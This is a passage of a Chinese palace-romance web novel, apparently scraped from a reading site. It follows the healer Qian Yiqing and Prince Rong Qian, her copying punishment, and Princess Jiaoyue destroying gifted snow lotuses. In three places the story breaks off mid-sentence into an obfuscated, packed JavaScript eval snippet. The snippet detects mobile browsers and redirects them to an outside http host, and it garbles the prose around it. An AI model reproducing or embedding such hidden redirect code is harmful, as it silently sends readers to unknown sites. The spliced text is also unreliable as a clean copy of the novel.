金红色带暗纹的锦盒整齐的排列着,由人一样样的打开供千裔清检查。 这些东西其实并非全然是她此时正需要的,从鬼山下来,又困在这崇安王府,许多东西都不方便她去采集,所以这些东西,更多是她私心留着用的。 千裔清一一看过去,只觉得这些药材品相都是极好,不愧是皇家库中出来的。待检查完最后一只朱漆木盒之后,她微微蹙起眉头:“怎么没有雪莲和蝉衣?我记得清单上有写的。” 陆离解释道:“也是有的,只不过现下不是盛产蝉衣的季节,宫里剩的那些都是前几年剩下的恐失了药性,所以要再等些时候,至于雪莲......皇上的意思是既然姑娘要,就一定要拿最好的,因此也要等些日子。” “唔......嗯......”千裔清摸了摸鼻子,还好容烨对医书一窍不通,对她所要的东西丝毫没有怀疑。 这些东西最终被下人悉数送进自己院落,至于试药,她倒是不着急。 有了这一遭,绛珠对千裔清更是殷勤了,又是打扫院子又是收拾屋子的,几乎把所有的活儿一个人包揽了。 千裔清头一次觉得绛珠做丫头十分有潜力,平日里还是懒散了。 崇安王府送进了一批新鲜的樱桃,厨房也很是利索的做了各色的甜品来吃。 下午的时候,厨房送来几道点心和樱桃凝露蜜来,绛雪在一旁剥荔枝。 卧在冰盘中的琉璃盏壁冒着寒气,胭脂色的梅子汤闪着诱人的颜色,酸甜清香的味道一阵阵传来。 千裔清掀起眼帘随意看了一眼,忍不住弯了嘴角。 这已经是她看见绛珠第四回咽口水了。 “这酸梅汤我不喝,你们两个喝了吧。” 似乎是正等着这话似的,绛珠立刻瞪圆了眼睛,可转眼她又犹豫着没敢伸手,问道:“街上的梅子汤都没咱们府上做得好呢,姑娘真的不尝尝?” 千裔清摇头:“太凉了,放在这也是浪费,你们喝了吧。” 既然这样,那她们就不客气了。 两人呵呵一笑,互相看了一眼便捧起琉璃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14948550|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 盏在掌心,冰气触到肌肤的瞬间便立刻化成水痕,天气的确是越来越热了。 千裔清放下书,转头窗外的太阳转了个圈从云层缓缓走出,像是在印证她的想法。 还好樱桃凝露蜜已经放温了。 千裔清问道:“殿下回来了吗?” 绛雪答:“回来了,现在在书房呢,姑娘要过去吗?” “不去。”千裔清摇摇头,“皎月公主没去告状?” 绛雪笑道:“姑娘是担心殿下罚您吗?放心吧,殿下才不会舍得呢!” 千裔清倒不担心这个,她只是比较好奇,如果皎月公主真跑去容潜面前哭哭啼啼告她的状,他会怎么做。 绥夏的使臣还未离开,两国尚在友好交涉中,他纵然再随心所欲,也总要顾忌对方的面子吧?然而正如绛雪所说,容潜必定不会真的处罚她,如此要想让皎月公主满意,恐怕是难了! 千裔清暗自发笑,她还真想看看容潜束手无策的样子,一定有趣。 想了想,千裔清吩咐道:“这里不用你们伺候了,把东西撤下去前院盯着吧,若那边有什么动静就来告诉我。” 两人应了声“是”,收拾好桌上的残羹乖乖退下,待房门合紧,脚步声渐渐远了,千裔清起身下了罗汉塌,从柜子里取出药匣。 有些药还是得先备好了,毕竟师傅不在身边,许多事还是要自己做好完全准备才行,否则连怎么死的都不知道。 - 傍晚,耳边的蝉鸣更盛,却不似白日那般吵闹,反倒听起来如丝竹一般悦耳,或许与人的心情也有关。 千裔清正拿着签子刮去指甲缝中浸上的药汁,纵然她捣药时已经很小心了,难免还是会沾染一些。 石桌上的火烛本就不大亮堂,又被过堂风吹的忽闪忽闪的,摇曳欲灭。瞪着眼刚挑净一只手,她就觉得撑不住了,眼睛酸涩的厉害。 “唉。”千裔清叹气,这里的药具一点也不好用,比不得山上。 绛珠刚打好热水晾在一旁,浸湿了帕子为千裔清擦手,一边把刚得的消息转述与她:“姑娘猜的不错,皎月公主果然带着秋露冬云去找殿下告状了!” 剩下的一只手则由绛珠为她清理,她的动作很轻,却意外的利索,想必是从小做这种事已经习惯了。 千裔清手上得闲,便又有了精神和绛珠搭话:“那殿下怎么说?” 绛珠想了想:“好像没说什么,只说他知道了。” “公主没闹?” “闹了!怎么没闹!”绛珠努着嘴说,“这会儿殿下正跟她一同用膳呢......” 兴许还正在哄她呢!绛珠想着,却没敢说出来。 千裔清点了点头,若是这样能小事化了,倒也省些麻烦。 指甲剔干净了,绛珠在水盆里倒了蔷薇露进去,一时间,蔷薇的香气十分浓郁。 绛珠说道:“姑娘把手在水里泡一会儿吧,药草味可比不得花香味好闻!” 水温晾的刚好,掌心触及木盆低,温暖的感觉包裹手掌,再取出时,药草味已经被遮掩的几乎闻不出了。 绛珠捧着她的指尖嗅了嗅,觉得不妥:“再泡会儿吧,奴婢闻着还没遮掩干净呢!” 千裔清好笑道:“我本来就是大夫,沾点药味不是很正常吗?你端下去吧,我这就休息了。” 磨了一个多时辰的药材,千裔清原本觉得很乏,不过绛珠走后,她却突然觉得困意散了。 穿着寝衣,肩头又添了一件外衣,方桌上的灯火亮的刚好,没有风的侵扰,自然也不会闪烁了。 医书看得厌了,手下放的早已不是那本《医经》,而是外头书肆中最为畅销的话本。 话本中的男主人公正在信上写下“寒灯纸上梨花雨凉,我等风雪又一年。”对他爱而不得的女子书写痴情。 千裔清笑着摇头,世人总爱歌咏深情之人,却道是越寻不得痴情人才越爱在笔墨之下虚构故事。 等待和长情都是最可笑的字眼,凡人皆为利益权势而驱使,琴瑟和鸣皆是权贵之人的妄想,他们无忧无虑才会以情为风雅。这世上更多的是普通人,普通人没有选择,唯有为自己,才是最好的选择。 食指落在页脚,千裔清刚要翻过这篇,身侧的窗子突然“梆梆”响了两声,她托着腮等,就见轩窗被掀起一角,映入眼帘的是削瘦冰冷的下颌角,好看的唇线在夜里勾勒出一丝暖意,他的唇角......似是在笑。 接着整张脸露了出来,正是容潜在窗外看着她,问道:“这么晚不睡,是在等我?” 43. 惩罚 暖风适时的吹过,拂动他鬓边的一缕发丝,或许是月色让人视线模糊不清,眼前男人俊美的容貌多了分柔和。 其实他不闹别扭的时候,看起来还挺温柔的。 这么想着,千裔清看着容潜,鬼使神差答了句:“是。” 话一出口她就后悔了,谁成想她还有被“美色”所迷的一天? 只是再后悔已然晚了,窗边的人影转瞬消失,不过片刻间,门闩轻响,是抬起又放下,落了锁。 容潜在她身后问道:“在看什么?” 千裔清微微垂下睫毛,不着痕迹地把话本朝里推了半分,说道:“没看什么,就是一些乱七八糟的读物。” 白皙的手腕横在眼前,两根长指一夹,话本被他抬手勾进掌心,容潜翻过手背,目光落在扉页之上。 千裔清听到他仿若轻笑了一声,而后问她:“书里讲了什么?” 她想了想,故事情节写得缠绵悱恻,多是些矫情的文字叙述,便答他:“也没什么,一些爱而不得,纸笔诉衷肠的无聊故事罢了。” 夹在书侧的手指微动,容潜“嗯”了一声,随手把它丢下:“纸笔诉衷肠,乃是无能之辈的做法,愚蠢。” 没想到容潜会有如此评价,千裔清诧异抬头,正对上那双深沉含墨的眸子。 容潜看她一字一句:“喜欢,就要去争。你说呢?” 那双眼睛牢牢锁着她,像是在等她一个肯定的回答,直望进她心底,让她忍不住生出一身寒意,跟着打了个冷颤。 “冷还不穿厚一些。”容潜淡淡说着,一面为她拢紧外衣的领口,突然他顿了顿,看着千裔清问道:“你......不会忘了吧?” 嗯? 什么忘了? 千裔清眼中闪过一瞬的迷惑,仅仅是瞬间,还是被面前的男人准确捕捉到。果然,他脸色变得阴沉:“你教我的,自己却忘了?” 原来是在说那句话...... 好在她没忘,这句话原是她在骑射那日跟他说的,没想到被他一直记着,似乎还有着成了座右铭的嫌疑。 这个人......真的很固执。 不,应该说是很轴! 千裔清摇摇头:“即便是争,也要有本事才行。” 见她并没忘干净,容潜脸色缓和一些,落坐在她身侧:“这是自然。”说话时,他眉宇间闪过一丝傲气和自信。 那股熟悉的香气又笼上她的鼻间。 不知为何,每次闻到他身上的熏香味道,都会有一种清心沉静的感觉。只不过这香味有些特殊,除了一些寻常的香料以外,还夹杂了一些她不甚了解的味道。 千裔清摸了摸鼻尖,只得作罢。想起绛珠提起的事,她侧目看着容潜:“你不用陪着皎月公主吗?” 等了这么久总算听到她主动提起,容潜心中划过一丝愉悦,笑着对她道:“吃醋了?” “我是想问殿下打算怎么处置我。”千裔清没答他的问题,继续道,“绥夏的人马还没离京,不论是看他们的面子还是皇上的面子,你总要哄哄人家,给她一个交代的。只要殿下不用对我用刑,禁足什么的,我还是可以配合的。” “你倒善解人意。”容潜看着她,眼神平静的骇人。 怎么好像......又生气了...... 是她哪句话说的不对? 这个人阴晴不定,实在是难以捉摸。她觉得自己越来越怀念当初那个一句话就能哄的开心一整天的九皇子了。 千裔清顿了顿,正打算先认错。容潜却先她一步开口了:“我不用哄谁,更不用给谁交代,至于你——你自愿认罚?” 他的语气不温不凉,千裔清努力揣测,却听不出半分情绪来。 千裔清佯装本分的样子:“殿下若想罚我,我自然领罚,不过殿下若肯发发善心放我一马,我也是不会拒绝的。” 容潜目光闪烁了几下,渐渐溢出几分笑意:“那便罚你把《虎钤经》二十卷都抄写一遍,什么时候抄完了,这事便算了。” “二......二十卷?”千裔清一怔,杏眼微微睁大。 她很少在他面前有如此惊讶的模样,容潜不由得好笑,觉得可爱极了:“怎么?不是你说的甘愿领罚,让你抄几本书就不愿意了?” 这原本不算什么惩罚,抄书而已,学堂里的孩子都不知抄了几百本了。 可千裔清是真觉得为难。不是她不愿意抄,旁的都好说,甚至禁足她十天半个月的也都无妨,只是抄书...... 她字识的不多,后来跟着师傅学习才算是勉强认全了,但写字这事是需要基本功的。她会认,却实在写不好看。 容潜分明是知道的,这不是成心为难她么? 算了,这摆明了就是他故意的。 “抄便抄吧,若是抄的不好,还请殿下不要介意。”千裔清轻扯了下嘴角,也不与他再做分辩。 “自然。”容潜柔声道,“你写成什么样,我都喜欢。” 他的目光比声音更加柔和,璀璨如天上星,深邃如月下潭。 烛芯“啪”的冒出火星,是一只小飞虫不小心撞进焰中,顷刻间化作漆黑的碎屑,在静默的空气中显得尤为突兀。 气氛好像渐渐怪异起来,为了避免陷入更加怪异的氛围,千裔清别过脸,手腕搭在桌沿有一下没一下的敲着,心道这人怎么还不走。 还没等多想些什么,一只手臂从背后略过,膝弯下也横过他玄色的袍袖,她被容潜打横抱在怀里。纤弱的身形在他宽厚的胸膛之前更显娇小,看起来毫无挣扎招架之力。 事实也的确如此。 千裔清下意识地蹙眉,好在脑子反应够快,才强压下自己差点条件反射踢他一脚的动作。 她喉咙间一顿,咽下不适的情绪:“你做什么?” “睡觉。”容潜抱着她向床榻走去,“不是冷么?我给你暖床,你还不愿意了?” 倒是也不必...... 她诚实道:“今夜并未下雨。” “我知道。” 顷刻已来到床边,容潜放下她的动作极其轻柔,生怕磕着碰着似的,为她取下外衣盖上被子的动作,一时间让她怀疑谁是这王府的主人,倒像是他在伺候她了。 千裔清颇觉不安,攥着被沿等他下一步的动作。 窸窸窣窣解下衣裳的声音在夜里显得极静,明明并没过多久,却让她觉得无比漫长。 直到容潜在她身边躺下了,像昨夜一般把她紧紧扣在怀里,落在她耳畔的是他微沉的呼吸,一下一下扣上她咚咚的心跳,严丝合缝的宛若天成。 容潜在她头顶低笑:“莫非是你不想睡,还想做点别的?” 千裔清微微摇头,突然想起他这样是看不到她摇头的,又补上一句:“没有。” “也好。”容潜把她的脑袋按在颈边蹭了几下,语气有些委屈,“我很累。” 都说崇安王极少参与朝政的,然而自她入府,她只觉得他进宫的时候并不少,一待至少半日,有时早上出门晚上才会回来。 千裔清试探道:“是因为我?” 容潜没说话,好一会儿,耳边传来他均匀的呼吸声。 睡着了? 千裔清怔然,刚动了动手臂想撤远些,身上的胳膊又箍着她紧了几分。 “别动。” 头顶上方是男人慵懒晦涩的声线。 千裔清不敢动了,默默把手放回原处,保持一个抻平的姿势任由他抱着。 “你陪着我,我才能睡得好......姐姐不会连这点要求都不肯满足我吧?” 他的声尾音柔柔的、轻飘飘的,话里带了明显的撒娇意味,一声“姐姐”瞬间把千裔清拉回两年前的那个场景。 那是她开玩笑的哄他这样喊她,起初那少年还十分别扭,硬着头皮不肯听话,只是没过一会儿便败下阵来,老老实实地叫了,只为哄她开心。 然而就是这么简简单单两个字让她血液几乎凝固,第一次觉得面红耳赤起来。 她很吃他这套,他是知道的。 直至今日也不例外,千裔清许久没有这种陌生的感觉,心口好像酥酥痒痒的,随着他的尾音一同变得柔软。 这样的容潜实在无法让她说出冷冰冰的话。 千裔清听到自己的心跳陡然加速,回过神时,左手已经在他背上轻抚。 她暗叹一声:“好,早些睡吧。” “......你真好。”容潜轻笑一声,音色里夹杂着浓浓困意,却还是完整的回应了她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14951983|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 容潜很快入睡,这也许是他近年来入睡最快,也睡得最安稳的一次。 同样的,这也是千裔清近年来第一次心脏“咚咚”跳了半宿,既清明、又复杂。 千裔清已经很久没有这种睡得不安稳的感觉了,夜里醒了好几次,感觉到窗外天光渐渐明亮时,她才又睡下了。 只不过刚闭上眼睛不久,身边的男人缓缓抽出环在她腰身上的手臂,她原本就没睡熟,即便他动作再轻也是无用。 “唔......”翻了个身,千裔清很想睁开眼,眼皮却沉的厉害。 好困...... 感觉到那人的呼吸靠近,阴影笼在上方,一只手抚上她脸颊,动作轻柔缱绻,指腹在她轮廓上留恋的描绘着。 许久之后,容潜慢慢收回动作,声音带着早起的慵懒和喑哑:“吵醒你了?” “嗯......”她闭着眼睛随口问道,“什么时辰了......” 容潜一指挑开帷幔,柔和的阳光透过缝隙划过被上的织花纹样,他只说道:“时辰还早,你再睡会儿。” 落在千裔清耳朵里只剩后半句:再睡会儿。 嗯,那就再睡会儿。 - 午饭时,桌上摆的多是龙井虾仁、姜汁菜心这些清淡的菜式,就连赤枣乌鸡汤上飘着的油花也是极少,然而至此菜式还未上齐,陆陆续续摆满了一桌。菜样虽然丰富,但每道菜的份量都很小,摆盘配色极为精致,色香味俱全,一看就是花了大心思的。 千裔清抿了口汤,微甜咸的口味很好入口,一点也不让人觉得油腻。 只是这脖颈腰背还是酸疼的厉害。 她不知道容潜昨夜睡的好不好,反正她睡得是不大好。 整整一夜,千裔清宛如一个人形枕头一样被他牢牢抱着,笔直地躺了一夜。其实半夜醒的时候,她本想悄悄挪开一些,没想到这男人睡着了也不肯撒手,甚至在她刚一动作又把腿横在她身上,彻底断了她的退路。 太重了,压得她根本推不开。 这样不行! 等他今日回来一定要找机会商量一下——让他不要再来她房里睡了! 绛雪悄悄打量她一眼,暗自笑了。难得姑娘今日胃口看起来不错,看来还是殿下的法子管用! 千裔清微微瞥她,筷子却没停下:“笑什么呢?” “噢,没什么!”绛雪回过神来,解释道,“奴婢只是觉得殿下真是细心,知道姑娘总是胃口不好,特意交待了要把菜式做得好看,连菜量都是定好的,说是这样看着有食欲,能让姑娘养养身子!” 好像还真是这样,往日用饭时只注意到饭桌虽是摆满的,但份量上却让她望而却步,看上几眼就不想再动筷子了。今日的饭菜每道都好看的紧,花样新鲜,连最朴素的菜叶都摆的赏心悦目,让人忍不住尝了这道,还想试试另一道。 一来而去的,她几乎每道菜都试了一遍,因菜量不多,她也不觉得有什么压力,反倒多咽下几口。 原来......这个人也是懂得温柔体贴的。 放下筷子,拿起丝绢按了按嘴角。 绛雪看着千裔清自顾自朝外走,疑惑道:“姑娘干什么去?” “抄书。” 千裔清头也不回,默默丢下两个字,拐个弯走出院落。 抄书? 绛雪挠挠头,不知道千裔清为什么突然有闲情逸致抄书,印象里姑娘一贯是不爱写字的,就连送去宫里的方子都是由她口述,交由下人代写。抄书......想不明白! 天气一日比一日炎热,当真是入了夏季,屋内和屋外像是两种季节。 外头的太阳多晒一会儿都会觉得烫,而亭台阁楼,周围就是湖畔与满池的青莲粉荷,楼上书阁的地砖和墙石都是特制的,冬暖夏凉,温度适宜,即便待上一整天也不会觉得有什么不适。 难怪容潜素日里总喜欢闷在这,有时连饭食都会在这里解决,倒是会享受。 一进书房,门内的空间比她想象的还要宽敞奢华,隔间就有两个,还有一间内室是用来休息的。 正殿书案上正放着《虎钤经》的最后一卷,旁的不知道放在哪里了。 千裔清懒得去找。 反正倒着抄......也行吧? 44. 雪莲 越往下抄写,千裔清越觉得容潜是在故意折磨她。 整整半日,她几乎长在了椅子上,却也不过抄了三十篇,一卷的五分之一而已。等她抄完二十卷,岂不是把秋天都给熬到了? 千裔清放下纸笔,揉着酸痛的手腕,眼神落在正研磨的绛雪身上,她沉吟片刻:“你可会写字?” 绛雪摇头:“奴婢幼时起就家境苦寒,我和绛珠都是没读过书的,哪里会写字。” 看她有些丧气的样子,绛雪心中冒出个疑虑:“您该不会是想找人代写吧?” 千裔清没说话,一脸的心不在焉,像是印证这个想法似的。 绛雪赶忙劝住:“不行啊姑娘!殿下知道了虽是不会罚您,却是会罚我们的,没准......没准还要把奴婢的手腕给折了!奴婢......奴婢不敢!” 千裔清掀起眼皮扫她一眼,看绛雪一脸惊惶的样子不似装的,像是真有什么可怕的遭遇降临一般。千裔清摇头,的确是没必要连累旁人,于是很快打消了这个想法。 踏出这间二层阁楼的时候,天色果然已经黑了,崇安王府灯火通明,早早上了灯。 斑石小径上影影绰绰是一堆排列整齐的家仆,一个个小心翼翼捧着托盘,方向正是从厨房到前院的路线。 千裔清转头问绛雪:“殿下膳食一向没太多讲究的,怎么今日厨房做了这么多的菜?” “自然不是殿下要求的,您瞧那些器皿,看起来都是绥夏的用具。”绛雪挑着灯,一面帮千裔清提起裙边,好方便她下台阶。 哦,原来是皎月公主的吩咐。 想了想,千裔清问:“他没回来?” 绛雪陪着她在书房待了一下午,自然也不清楚:“姑娘先回去用膳,奴婢待会儿去问问陆离大人。” 千裔清“嗯”了一声,点点头。 今晚的云极淡,湛蓝的夜空微微发靛,月光就显得十分亮堂。暖风拂面,吹得人心情很好。草丛里的蛐蛐愈叫愈响,当真是有入暑的感觉了。 这么一想,原来她已经来到坤京半月。 也不知师傅如何了,有没有找到方幼渺,是不是还......活着? “姑娘,热水准备好了,可以沐浴了。” 千裔清回过头,才发现自己趴在廊下出神了。 她转身进房,一面褪去身上衣物,想起容潜已经一日都未出现,便又问了一句:“你方才可去见过陆离了?他怎么说?” 绛雪摇摇头:“陆离大人说他也不知道,宫里未曾派人传话回来,殿下的事我们也不敢多问。” 热气在浴桶内缓缓腾升,视线所至皆变得模糊朦胧。 其实容潜不回来还挺好的,至少今天没人跟她挤一张床了。不过就是往日容潜留宿宫中,即便再晚都会只会她一声,今天不知是怎么了,莫非出了什么大事? 绛雪看她脸色一会缓和一会拧眉的,精彩的很,忍不住好奇:“难道是因为今晚殿下没回来陪您,您不高兴了?” 夫妻房中之事本是平常,之前在璟王府上,璟王妃倒是从不掩饰自己心意,思念便是思念,喜欢便是喜欢,有什么便说什么,想亲昵便亲昵,与璟王恩爱的紧。不像千千姑娘跟殿下一般,总是别别扭扭的。 绛雪以为她终于开窍了,却不知千裔清只是担心宫中之事是否和她有关,以及会不会影响到她的小命,还有,她到底还有没有机会离开这个鬼地方...... - 第二天一大早,容潜还没有回来,千裔清要的雪莲反而先一步送进门。 不是说要再等些时日吗,怎么这么快就送来了? 依照惯例,仍是先送至扶光阁,不过东西不多,来人放下便先回去复命。 传话的是府上的长顺,他正领着千裔清往扶光阁去,距离不算远,眼瞅着就快到了。 长顺说道:“其实本来还要等些时候的,恰好佑王殿下从域外游历回来了,刚巧带了几株,听说是在商人那花了大价钱买的!” “佑王?”这些东西竟是出自佑王之手。 这让千裔清不由得皱眉,心中掀起一丝防备。 他不会又在打什么主意害她吧?莫非雪莲上做了什么手脚? 长顺也知道一些两人的过节,当然也知道崇安王和佑王关系紧张,却还是依照来人的说辞解释道:“对,是佑王!您也知道,佑王一向喜欢收集些奇珍异宝什么的,这雪莲被那商人吹得神乎其神,佑王他虽然不认识,却也不差钱,买了就买了。这不——听说您需要这东西,这才上赶着差人送来了,说是为旧时的错事赔罪。” 这话落在千裔清耳朵里,嘴边忍不住泛起一丝冷笑。 赔罪?这是真把她的命当成草芥了!这也就是她还活着,若是她已经死了,岂是几株雪莲就能抵的了的? 这些权贵之人总是把人的性命当成儿戏,正是如此,她才无比厌恶有关这座皇城的一切。 不过这些话她也只是在心里过了一遍,并没有真的蠢到跟长顺去说这些。 扶光阁到了,偌大的厅堂宽阔敞亮,却是有人早已候着她。 ——是皎月公主。 长顺显然对这位绥夏来的公主也略有领会,直走到门前便停住了,站在门槛之外没敢进去。 千裔清只随意扫了她一眼,目光停驻在方桌之上的三个玉匣上。 玉匣是寒玉所制,留温效果本就极好,打开玉匣,底层铺满了新鲜的冰块,冰块之上躺着的正是品相极好的雪莲。 的确是珍品不错。 此时正值初夏,佑王这一路奔波回来,留存至今竟也是保存的很好,若非皇族富贵,恐怕也是很难做到的。 皎月公主住的院子离大门更近一些,有什么动静都能知晓的更早,也正因如此,听说佑王送东西过来,她便先瞧了一眼。 这东西她在绥夏境内原也是见过的,又看保存的极为小心,便知这三株雪莲都不是凡品,心下很快来了主意。 ——前日的账她还没跟这小贱人算呢!机会来的还真是时候。 皎月公主放下手中尚还冰着的葡萄甜茶,心中火气是一点也没降下来。 “本公主倒是没看出来你跟佑王那个纨绔也关系匪浅?” 皎月公主哪里知道他们之间的恩怨,她只隐约听人说容潜与璟王交好,与佑王倒是水火不容的。既然他们两个水火不容,千裔清竟还敢与佑王交好,这不是上赶着找死么! 千裔清却是根本没打算理她,正在认真检查这几株雪莲是否有什么问题,譬如有没有悄悄加了什么东西进莲心之类的。 千裔清不理她,皎月公主自然更生气。在千裔清刚把手放在第二个匣子上的时候陡然按住她的腕子。 突然的受阻终于让千裔清不得不把目光施舍给她片刻:“有事?” 皎月公主竖眉:“我问你话呢!” “嗯。”敷衍的单字从鼻间溢出,千裔清收回停在她脸上的目光,抽出手腕继续低头做自己的事,“问了什么?方才没听清。” “......” 皎月公主咬牙,随即压了压怒火,换上一副皮笑肉不笑的表情:“本公主瞧这些东西不是寻常之物,想必是佑王费了不少心思才得手的,如今竟然转送给了你,莫不是你们二人有什么不可告人的关系?” 千裔清瞥了她一眼:“公主慎言。” “哦?难道我说错了?”皎月公主认定二人之间有私交,又道,“听说你进京也不过半月而已,这么短的时间竟又勾搭上了佑王!你既跟了崇安王,难道不知道他们二人的关系?就不怕崇安王迁怒于你?” 皎月公主打从心里看不上那个不学无术的佑王,虽是只见过两面,却也觉得那人轻浮。 其实她本是属意于璟王的,只是不知道为什么,崇安王突然向皇上请命让她入府住下,她虽然不甚满意,但考虑到自己此行的目的和使臣的劝慰,便也同意了。 崇安王威名在外,又无正妃,她嫁给崇安王似乎也是不错的选择。 而且......他长得其实也不错。 一时之间想的远了,皎月公主还在等千裔清的回答。 千裔清捏下一片叶心,在指尖捻碎了凑近鼻尖,好像并没什么不妥。 她顺口回答皎月公主的问题:“公主也说是不可告人的关系,我若告诉了你岂非让你做不得人了?” 容潜本就是局内人,其中之事她无需刻意解释,反正不会被他误会,因此也不怕皎月公主告状。 这怼人的功夫日渐随心而动张口就来,越是满不在乎的神情越能挑起人的怒意。 千裔清是没觉得有什么所以随意答的,只是落在皎月公主那儿便十分刺耳了。 “你、你骂我!” 千裔清顿住手上动作,看着她浅浅笑道:“公主怎么如此敏感,身为两国交好的利益工具,您格局应该大一些才行,这么轻易就动怒,以后怎么跟我同住一个屋檐下?” 许是这番话太过伤人自尊,皎月公主又是个骄纵的,她气极,便不愿意再忍。 手边就是珍贵的雪莲,皎月公主毫不犹豫,目光落在上面的瞬间手上也立刻跟着,一下掀翻了离得最近的玉匣。 这些远不能解气,接连着,她又掀翻了下一个,再一个。 三只玉匣皆碎落一地,冰块化着水沾在莲叶上、地面上、玉屑上。 这场景只能用一个“乱七八糟”来形容。 偏偏有人还要给这乱七八糟再添点儿乱。 皎月公主提起裙摆,黛色的绣鞋在几株雪莲山狠狠踩了几脚、再踩几脚。 接着又补了几脚。 直到这些东西只能被称作“秽污”,绣鞋的主人才终于满意了。 皎月公主挑衅地看着千裔清:“殿下不在,我替他处理干净这些腌臜东西,想来你不会介意吧?” 千裔清环着手臂冷冷看她发泄,她并没觉得有什么心疼的,毕竟天下有许多的毒是她不知道也不会解的。就像那日所中的“浮心引”,她就始终没见过其中最重要的那味据说只有皇家才有的毒引。 皎月公主这一插手,算是彻底毁了佑王的“心意”。 也好,且不说她不能对佑王送来的东西安心,再者她也不可能接受他的“赔罪”,这份赔礼被毁了,算是给了她一个顺水推舟拒绝他的理由。 反正也不是她毁的,要怪只能怪皎月公主。 不过...... “公主可知这些东西是皇上的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14957205|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旨意,佑王才会送来府上的?”千裔清抬眼看着皎月公主,静静地看着她,眸中平静的没有一丝波动。 皎月公主并不信她的话,嗤笑一声道:“你诓我呢?如果真是皇上的旨意,他为什么不差宫人送来,反倒让佑王给你?该不是你怕我告诉崇安王惹得他厌恶吧!” 千裔清掀了掀唇角:“公主若不信大可去向府上人打听,或者你有胆量亲自去向皇上求证也无妨。”她佯装惋惜地叹口气,“只是完不成皇上的交待,我又那么怕死,到时候只好把公主您推出去了——不过这也是事实,您说对吧?” 这本是句玩笑话,千裔清不会真的那么小心眼儿去找皇上告状。况且,那药方也用不到雪莲。讨这些东西其实是她想制些伤药以备不时之需罢了。 见她这样,皎月公主反而觉得有几分可信了,于是她真的开始有点慌乱,手指在长袖下紧紧绞着。 千裔清挑眉,对她的反应有些失望。看她那么跋扈还以为是个硬骨头,没想到这么不禁吓,紧张成这样。 皎月公主思量片刻,抬起头看着千裔清,态度强硬:“不行,若皇上问起,你只能说一切都是意外!” “我为什么要听你的?”千裔清歪着头问。 皎月公主顿了顿,缓缓开口:“眼下正是两国交好的关键时刻,你身为夜南的子民理当为国家安定着想,你若去告状,对时局没有任何好处。” 这是在拿社稷和百姓绑架她?不得不说,她这公主倒是称职。 千裔清顺着她的话头接下:“这么大的责任,我若替你扛了有什么好处?” 见她肯松口,皎月公主暗自舒一口气,语气也不那么紧绷了:“你想要什么好处?” “我本打算与你井水不犯河水,任凭你是想做侧妃还是正妃都与我无关。那日若不是你的侍女平白无故寻我院里丫头的麻烦,我也懒得去见你!”千裔清看着她,“皎月公主,既然你有你的家国道义,甘愿牺牲小我成就大我,那么就请你别来找我麻烦,咱们相安无事。” “顺便告诉你,我是大夫,根本无需借皇上的手也能让你在这府上无一日安宁,你信不信?” “……你威胁我?”这一连串的话几乎堵的皎月公主哑口无言,然而个性使然让她不能在这个时候低头示弱。 她要说点什么,必须要说点什么! 千裔清毫不在意地点头承认:“就算是吧,你不答应?” 皎月公主盯着她看了片刻,咬牙说道:“行,本公主不与你计较就是了!” 千裔清满意了,看着地面的一片狼藉,长顺也不知道什么时候已经离开了。这周边好像也没什么下人在。 她盯着地上的碎屑冰水拧着眉头。 啧……不想管。 抬头看着公主,千裔清说道:“既然是你种的因,就由你来负责收拾吧。” 说完,她也不给皎月公主拒绝的机会,转身就走。 刚跨出门槛,拐角的灰色身影一晃而过,没走几步,余光就瞥见陆离随在身后不远处。 千裔清收回目光,她的步子比陆离小了许多,因此轻而易举被他跟上。 “又偷听?”千裔清不禁摇头,陆离的性格变得随和了,这爱听墙角的毛病却是一直没变,好在次数多了,她也习惯了。 从前总是看不顺眼的两个人,没想到这次重逢却好像关系熟络了起来。 陆离顿了顿,解释道:“是长顺通知我才过来的。” 陆离跟容潜相比较要好相处的多,千裔清在他面前不会去斟酌用词,便很自然地问:“那你听了多少?” 陆离回忆着:“从……做不得人那句开始。” 千裔清脚下一滞:“……跟你家主子回报的时候不用说的那么清楚。” 那些话若是从皎月公主那里告上去算是两人争执,从陆离口中回禀,她怕容潜会搞错重点。 他向来关注点清奇…… 说道容潜,千裔清不得不多问一句:“他进宫是有什么要紧事?也没向你透露半分吗?” 陆离很诚恳地回答:“殿下昨夜一直跟你在一起,早上起来就直接进宫了,就算要透露也应该是和姑娘你说,哪里轮得到我来问?” 千裔清横了他一眼:“不知道就说不知道,不用说的那么迂回。”倒像是在刻意提醒她什么似的。 